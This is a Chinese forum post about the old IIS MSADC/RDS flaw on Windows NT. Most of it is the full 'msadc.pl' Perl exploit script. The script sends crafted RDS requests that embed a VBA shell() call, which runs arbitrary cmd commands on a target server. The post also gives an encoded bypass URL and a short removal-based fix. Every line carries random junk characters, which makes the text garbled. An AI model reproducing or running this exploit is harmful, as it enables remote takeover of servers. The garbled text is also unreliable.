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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) |K11Woii  
Z&M fE0F/B  
涉及程序: ;#+Se,)  
Microsoft NT server a'prlXr\4  
B.ar!*X  
描述: '"4S3Fysm  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 i4g99Kvl  
M?3#XQDvD  
详细: cpJ(77e  
如果你没有时间读详细内容的话,就删除: c%O8h  
c:\Program Files\Common Files\System\Msadc\msadcs.dll bKb}VP  
有关的安全问题就没有了。 E==vk~cz  
tEC`-> |  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 /t;Kn m  
lE 09Y  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 n| [RXpAp3  
关于利用ODBC远程漏洞的描述,请参看: _N2tf/C&=  
dZi ?Z  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm fd&=\~1_$  
Tu9[byfrI  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 5IfyD ]<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ry[NR$L/m  
-'F? |  
这里不再论述。 5:6]ZFW  
ztG!NZL  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: k\wcj^"cb  
idLCq^jnJ  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset J[7|Ul1 <  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!  aa10vV  
+~]:oj  
iTpU4Qsj  
#将下面这段保存为txt文件,然后: "perl -x 文件名" +i1\],7  
7]&ouT  
#!perl w=K!U]  
# Btu=MUS  
# MSADC/RDS 'usage' (aka exploit) script MRZ/%OZ.  
# ;+W9EbY2  
# by rain.forest.puppy r1o_i;rg  
# gXThdNU4G  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Qk_` IlSd  
# beta test and find errors! cV+ x.)a.  
B6hd*f  
use Socket; use Getopt::Std; zJCm0HLJ  
getopts("e:vd:h:XR", \%args); Zv8I`/4?  
ZUiI nO  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; A;g{H|  
 SK&?s`  
if (!defined $args{h} && !defined $args{R}) { ( /):  
print qq~ QTKN6P  
Usage: msadc.pl -h <host> { -d <delay> -X -v } }?vVJm'  
-h <host> = host you want to scan (ip or domain) LsGu-Y 5^  
-d <seconds> = delay between calls, default 1 second @Y8/#6KE  
-X = dump Index Server path table, if available w\PCBY=  
-v = verbose 60`4 _Uy]_  
-e = external dictionary file for step 5 A0hfy|1#L  
w:~Y@ b~D  
Or a -R will resume a command session ,O[Maj/ch  
4X^{aIlshk  
~; exit;} rDvz2p"R  
; D a[jFP  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; hExw}c  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} {#Vck\&  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 2*<'=*zaQ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 5/{";k)L+  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 3jG #<4;J  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } xU5+"t~  
PiTe/  
if (!defined $args{R}){ $ret = &has_msadc; !o k6*m  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :a#p zEK  
u|'}a3  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" *w[\(d'T  
. "cmd /c "; J|D$  
$in=<STDIN>; chomp $in; lxvRF93a.  
$command="cmd /c " . $in ; $4j$c|S!  
5?()o}VjAO  
if (defined $args{R}) {&load; exit;} 3{;W!/&>  
Es~|:$(N]|  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; `T \"B%  
&try_btcustmr; 1; "t8.*%e  
+#|):aF  
print "\nStep 2: Trying to make our own DSN..."; v1E=P7}\{s  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; djxM/"xo  
|0jmOcZF  
print "\nStep 3: Trying known DSNs..."; !^ /Mn  
&known_dsn; ZX Sl+k .  
(3;dtp>Xx  
print "\nStep 4: Trying known .mdbs..."; .}V&*-ep  
&known_mdb; ,%a7sk<5k  
hDf|9}/UQd  
if (defined $args{e}){ ;C+g)BW  
print "\nStep 5: Trying dictionary of DSN names..."; nHB=*Mj DV  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } qK9\oB%s7  
=b* Is,R/  
print "Sorry Charley...maybe next time?\n"; .M$}.v  
exit; @^)aUOe  
xa?#wY b  
############################################################################## .PhH|jrCW^  
Lk-%I?  
sub sendraw { # ripped and modded from whisker VZJ[h{ 6  
sleep($delay); # it's a DoS on the server! At least on mine... i(k]}Di:  
my ($pstr)=@_; xq2 ,S  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || +&p}iZp  
die("Socket problems\n"); 27NhYDo  
if(connect(S,pack "SnA4x8",2,80,$target)){ DG&[.dR+  
select(S); $|=1; bxS+ R\  
print $pstr; my @in=<S>; q Pc"A!-i  
select(STDOUT); close(S); b(Ev:  
return @in; f#W5Nu'*!  
} else { die("Can't connect...\n"); }} mu1Lgs$;  
NNt,J;  
############################################################################## | Ts0h?"a  
onuhNn_=>  
sub make_header { # make the HTTP request i'Oh^Y)E#  
my $msadc=<<EOT Z{|U!tn  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 `Xbk2KD p  
User-Agent: ACTIVEDATA {cNH|  
Host: $ip +P&;cCV`S3  
Content-Length: $clen F_Q?0 Do0'  
Connection: Keep-Alive 3']yjj(gHr  
5Y4 i|R  
ADCClientVersion:01.06 4}~zVT0'~  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 `W8A *  
<V3N!H_d  
--!ADM!ROX!YOUR!WORLD! t^ =6czk  
Content-Type: application/x-varg nr#DE?  
Content-Length: $reqlen -1Luyuy/`  
rSYzrVc  
EOT !zw)! rV=  
; $msadc=~s/\n/\r\n/g; T4\F=iw4  
return $msadc;} WheJ 7~  
Om% 9 x  
############################################################################## ?s<'3I{F`  
BVx: JiA  
sub make_req { # make the RDS request tNskB`541  
my ($switch, $p1, $p2)=@_; EH'?wh|Yp  
my $req=""; my $t1, $t2, $query, $dsn; rmCrP(  
3q=A35*LT>  
if ($switch==1){ # this is the btcustmr.mdb query 5N:THvh6o  
$query="Select * from Customers where City=" . make_shell(); S.9ki<  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . qp-/S^%  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #-9;Hn4x  
,3k"J4|d  
elsif ($switch==2){ # this is general make table query 8 0>qqz  
$query="create table AZZ (B int, C varchar(10))"; e ,_b  
$dsn="$p1";} glk_ *x  
<t{T]i+  
elsif ($switch==3){ # this is general exploit table query v'C`;I  
$query="select * from AZZ where C=" . make_shell(); !O=J8;oLk  
$dsn="$p1";} U!"+~d)  
U$J l5[`F^  
elsif ($switch==4){ # attempt to hork file info from index server nj*B-M\p  
$query="select path from scope()"; $18|@\Znj  
$dsn="Provider=MSIDXS;";} Q?GmSeUi  
!s;+6Sy  
elsif ($switch==5){ # bad query {*8'bNJ  
$query="select"; _5^p+  
$dsn="$p1";} V  `KXfY  
=OIx G}*  
$t1= make_unicode($query); 7XE/bhe%S  
$t2= make_unicode($dsn); "}i\" x;s  
$req = "\x02\x00\x03\x00"; .[1"Med J  
$req.= "\x08\x00" . pack ("S1", length($t1)); ':71;^zXf  
$req.= "\x00\x00" . $t1 ; "WTnC0<  
$req.= "\x08\x00" . pack ("S1", length($t2)); */Oq$3QGsV  
$req.= "\x00\x00" . $t2 ; vj I>TIy  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Vwp fkD`  
return $req;} [@OXvdTV  
R qS2Qo]  
############################################################################## %@Nuzdp  
taXS>*|B  
sub make_shell { # this makes the shell() statement Q:\I %o  
return "'|shell(\"$command\")|'";} ]3_oT^$:  
Y`QJcC(3  
############################################################################## tVUoUl  
.y{qsL^P  
sub make_unicode { # quick little function to convert to unicode fbKL31PI  
my ($in)=@_; my $out; FO{K=9O  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Be{7Rj v  
return $out;} OLc/Vij;  
@|xcrEnP}B  
############################################################################## qlJP2Ig~  
3F ;+ D  
sub rdo_success { # checks for RDO return success (this is kludge) (5%OAjW  
my (@in) = @_; my $base=content_start(@in); &N!QKrj3  
if($in[$base]=~/multipart\/mixed/){ 317Lv \[  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} vcsi @!   
return 0;} 00'R1q4  
>dol  
############################################################################## UNcS\t2N  
{ Slc6$  
sub make_dsn { # this makes a DSN for us *<2+tI  
my @drives=("c","d","e","f"); vLW&/YJ6  
print "\nMaking DSN: "; Zqke8q  
foreach $drive (@drives) { :qi"I;=6  
print "$drive: "; D +/27#  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . F>,kKR-  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" p]uwGWDI  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ir<HC 'D[  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ]<mXf~zg  
return 0 if $2 eq "404"; # not found/doesn't exist dm1W C:b  
if($2 eq "200") { _e AZ_@  
foreach $line (@results) { ~xqRCf{8  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} le?hCPHkp  
} return 0;} q9w6 6R  
k#T onT  
############################################################################## S,LW/:,  
,~t{Q*#_h  
sub verify_exists { fr8:L!9  
my ($page)=@_; ( Kh<qAP_n  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 4"fiEt,t<x  
return $results[0];} D}l^ow  
89:Ys=  
############################################################################## f5+a6s9  
QfJ?'*  
sub try_btcustmr { P ?dE\Po7  
my @drives=("c","d","e","f"); 0[g8  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /i|T\  
R_ojK&%  
foreach $dir (@dirs) { b>AFhj:  
print "$dir -> "; # fun status so you can see progress &Ib8xwb:  
foreach $drive (@drives) { >h/J{T(P>h  
print "$drive: "; # ditto !L"3Otd  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :e:jILQ[  
$reqlenlen=length( "$reqlen" ); ~HsPYc8Fz  
$clen= 206 + $reqlenlen + $reqlen; .,[zI@9  
;w@PnY  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); FA ?xp1E  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} w+bQpIP M  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8 M3Q8&  
pS vDH-  
############################################################################## |l(rR06#.]  
s8 .OL_e  
sub odbc_error { LbDhPG`u  
my (@in)=@_; my $base; @a) x^d  
my $base = content_start(@in); pPm[<^\#S  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this E_]L8UC;m  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; /w{DyHT  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; #r; ' AG  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; SLO;c{EFH  
return $in[$base+4].$in[$base+5].$in[$base+6];} iIu  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; MNOT<(  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ce&)djC7U  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 1 ry:Z2  
09`5<9/  
############################################################################## DYJ@>8  
WK]SHiHD  
sub verbose { >I Aw Nr  
my ($in)=@_; l2KR=& SX/  
return if !$verbose; ?"\`u;  
print STDOUT "\n$in\n";} v bzeabm  
ipnvw4+  
############################################################################## .?9+1.`  
?c0OrvM  
sub save { a02;Zl  
my ($p1, $p2, $p3, $p4)=@_; K~OfC  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; v:(_-8:F  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";  @*'|8%  
close OUT;} HJ]\VP9Zb  
JX(JZ/8B^  
############################################################################## h=um t<&D  
hN$6Kx>{  
sub load { ,T?8??bZ  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; (L_txd4  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 4;W eB   
@p=<IN>; close(IN); H[ocIw  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); di}YHMTx  
$target= inet_aton($ip) || die("inet_aton problems"); :)X?ML?  
print "Resuming to $ip ..."; q[1:h  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; \2)a.2mAz  
if($p[1]==1) { Gd1%6}<~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Z{7lyEzBg  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ;AK;%  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 6T0E'kv S  
if (rdo_success(@results)){print "Success!\n";} T (]  
else { print "failed\n"; verbose(odbc_error(@results));}} h7<Zkf  
elsif ($p[1]==3){ lG,/tMy  
if(run_query("$p[3]")){ IZY q  
print "Success!\n";} else { print "failed\n"; }} \^vf`-uG  
elsif ($p[1]==4){ pUki!TA  
if(run_query($drvst . "$p[3]")){ JS% &ipm  
print "Success!\n"; } else { print "failed\n"; }} /Za'L#=R  
exit;} 5fPYtVm  
12v5*G[X  
############################################################################## +J3 0OT8  
.g_B KeU  
sub create_table { <n< @ O5  
my ($in)=@_; I^ sWf3'db  
$reqlen=length( make_req(2,$in,"") ) - 28; 1C(6.7l  
$reqlenlen=length( "$reqlen" ); ~>zml1aJ6  
$clen= 206 + $reqlenlen + $reqlen; I <`9ANe  
my @results=sendraw(make_header() . make_req(2,$in,"")); tmiRv.Mhn<  
return 1 if rdo_success(@results); FCTz>N^p  
my $temp= odbc_error(@results); verbose($temp); xcr=AhqM  
return 1 if $temp=~/Table 'AZZ' already exists/; @gc lks/M  
return 0;} `X]TIMc:Ad  
^l;nBD#nJ  
############################################################################## w-\U;&8  
).@8+}`  
sub known_dsn { cy8+@77  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go YUd*\_  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", WV_y@H_  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", h"/FqO  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); }c(".v#  
sL|lfc'bB  
foreach $dSn (@dsns) { yaV=e1W  
print "."; {^gb S  
next if (!is_access("DSN=$dSn")); 0 ;kcSz  
if(create_table("DSN=$dSn")){ 6r"uDV #0  
print "$dSn successful\n"; dk~h  
if(run_query("DSN=$dSn")){ =0 W`tx  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { B~oSKM%8R  
print "Something's borked. Use verbose next time\n";}}} print "\n";} #=/eu=  
'(A)^K>+  
############################################################################## /l_ $1<c  
IQ[ ?ej3W  
sub is_access { bA\TuB  
my ($in)=@_; +cv7]  
$reqlen=length( make_req(5,$in,"") ) - 28; rks+\e}^Z  
$reqlenlen=length( "$reqlen" ); .E:[ \H"  
$clen= 206 + $reqlenlen + $reqlen; 2xRb$QF  
my @results=sendraw(make_header() . make_req(5,$in,"")); (UmoG  
my $temp= odbc_error(@results); 3`_jNPV1  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); E< nXkqD  
return 0;} "8 |y  
|eL&hwqzG  
############################################################################## Z0T{1YEJ  
1 Y_e1tgmm  
sub run_query { k^AI7H  
my ($in)=@_; b2c% 0C  
$reqlen=length( make_req(3,$in,"") ) - 28; jq(3y|6,  
$reqlenlen=length( "$reqlen" ); o~!4&  
$clen= 206 + $reqlenlen + $reqlen; W Da;wt  
my @results=sendraw(make_header() . make_req(3,$in,"")); Jhu<^pjs  
return 1 if rdo_success(@results); Ti`<,TA54  
my $temp= odbc_error(@results); verbose($temp); Jo Qzf~  
return 0;} l!e8=QlJ  
bep}|8,#u  
############################################################################## "6rZn_H/|  
Zzr+p.  
sub known_mdb { ,}F2l|x_  
my @drives=("c","d","e","f","g"); <b"ynoM.A  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Ls#pe  
my $dir, $drive, $mdb; c/ %5IhX?  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Yf Udpa0  
B' 6^E#9  
# this is sparse, because I don't know of many w~M5)b  
my @sysmdbs=( "\\catroot\\icatalog.mdb", L^rtypkJ  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", _H^Ij  
"\\system32\\certmdb.mdb", ,pir,Eozg  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 2#&9qGR  
hABC rd Em  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", P$_Y:XI !  
"\\cfusion\\cfapps\\forums\\forums_.mdb", !3Fj`Oh  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", W+PAlsOC  
"\\cfusion\\cfapps\\security\\realm_.mdb", */xI#G,O+  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", e3YZ-w^W~h  
"\\cfusion\\database\\cfexamples.mdb", VHVU*6_w  
"\\cfusion\\database\\cfsnippets.mdb", <K:?<F  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", b6_*ljM  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ncJ}h\:Sk  
"\\cfusion\\brighttiger\\database\\cleam.mdb", AC3K*)`E  
"\\cfusion\\database\\smpolicy.mdb", (u85$_C  
"\\cfusion\\database\cypress.mdb", K1uN(T.Ju  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 6,M>'s,N  
"\\website\\cgi-win\\dbsample.mdb", 8h9t8?  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", * JGm  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" C-]H+p  
); #these are just -_'M *-  
foreach $drive (@drives) { >`= '~y8  
foreach $dir (@dirs){ w<j6ln+nM  
foreach $mdb (@sysmdbs) { >=^g%K$L6J  
print "."; #O]F5JB  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ VA4vAF  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =%Gecj  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ R?1;'pvpa[  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; oju/%ieh  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Q@%VJPLv.  
2N)=fBF%-  
foreach $drive (@drives) { NFY,$  
foreach $mdb (@mdbs) { K]zBPfx  
print "."; NAV}q<@v  
if(create_table($drv . $drive . $dir . $mdb)){ VZYd CZ&l7  
print "\n" . $drive . $dir . $mdb . " successful\n"; ~CldqXeI  
if(run_query($drv . $drive . $dir . $mdb)){ #^<7VS!x  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; eJE?H]  
} else { print "Something's borked. Use verbose next time\n"; }}}} ru3nnF_I  
} /MsXw/],  
kP%'{   
############################################################################## UBpYR> <\  
- ,q&Zm  
sub hork_idx { 2uS&A \   
print "\nAttempting to dump Index Server tables...\n"; {#uX   
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; JoKD6Q1D  
$reqlen=length( make_req(4,"","") ) - 28; wke$  
$reqlenlen=length( "$reqlen" ); ~6!=_"  
$clen= 206 + $reqlenlen + $reqlen; `>rdn*B  
my @results=sendraw2(make_header() . make_req(4,"","")); Y {Klwn   
if (rdo_success(@results)){ "KOLRJ@  
my $max=@results; my $c; my %d; Sl^HMO  
for($c=19; $c<$max; $c++){ f!P.=Qo[=  
$results[$c]=~s/\x00//g; NeCTEe|V  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; &k&tkE  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; nE]R0|4h  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $k@reN9  
$d{"$1$2"}="";} y2\, L  
foreach $c (keys %d){ print "$c\n"; } T9{94Ra  
} else {print "Index server doesn't seem to be installed.\n"; }} " FcA:7+  
`*9W{|~Gwx  
############################################################################## N-3w)23*:  
h_?D%b~5  
sub dsn_dict { h\C  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 9g"a`a?c  
while(<IN>){ \PU|<Ru.  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; p(Y'fd}  
next if (!is_access("DSN=$dSn")); KLsTgo|J  
if(create_table("DSN=$dSn")){ 4&K~EX"^T  
print "$dSn successful\n"; iK(n'X5i  
if(run_query("DSN=$dSn")){ Mh>^~;  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { r&0v,WSp&S  
print "Something's borked. Use verbose next time\n";}}} +H/^RvUjF  
print "\n"; close(IN);} !s\-i6S>  
@`$8rck`  
############################################################################## Eo)Q> AM  
~8`r.1aUO  
sub sendraw2 { # ripped and modded from whisker W)<us?5Ec5  
sleep($delay); # it's a DoS on the server! At least on mine... $4>K2  
my ($pstr)=@_; p:k>!8.Qho  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || O]m,zk  
die("Socket problems\n"); Sq-mH=rs]  
if(connect(S,pack "SnA4x8",2,80,$target)){ -78 t0-lM  
print "Connected. Getting data"; `P)atQ  
open(OUT,">raw.out"); my @in; B Gh%3"q  
select(S); $|=1; print $pstr; _(<[!c!@0  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} xlqRW"  
close(OUT); select(STDOUT); close(S); return @in; nW{ ). P  
} else { die("Can't connect...\n"); }} *<x EM-  
/JtKn*?}:>  
############################################################################## \W( C=e  
G~8C7$0z  
sub content_start { # this will take in the server headers Pf]6'?kQ  
my (@in)=@_; my $c; +aEE(u6%E@  
for ($c=1;$c<500;$c++) { 'RTz*CSZ  
if($in[$c] =~/^\x0d\x0a/){ ;,JCA# N  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } |0B h  
else { return $c+1; }}} 9FX'Uws  
return -1;} # it should never get here actually P[8`]=  
#";(&|7  
############################################################################## -1:yqF.x  
[FAoC3 k-h  
sub funky { 9-Qu b+0o  
my (@in)=@_; my $error=odbc_error(@in); |mc!v*O  
if($error=~/ADO could not find the specified provider/){ n$ axqvG  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ;5q=/  
exit;} * "~^k^_b}  
if($error=~/A Handler is required/){ `Q, moz  
print "\nServer has custom handler filters (they most likely are patched)\n"; Fj7cI +  
exit;} FlrLXTx0  
if($error=~/specified Handler has denied Access/){ SE;Jl[PgcL  
print "\nServer has custom handler filters (they most likely are patched)\n"; yg5Ik{  
exit;}} n3g3(} Q0  
bv4lgRE6Y  
############################################################################## w6qx  
:jT1=PfL  
sub has_msadc { ](aXZ<,  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ]Yp;8#:1  
my $base=content_start(@results); -nV]%vJ$R}  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); TF^Rh4  
return 0;} MkRRBvk  
KaauX m  
######################## Zyu4!  
KWLI7fTgj$  
nkG1&wiX  
解决方案: N*f?A$u/I  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 2h@/Q)z  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 t3}>5cAxy  
CCNrjaA  
拿出来充数 哈哈
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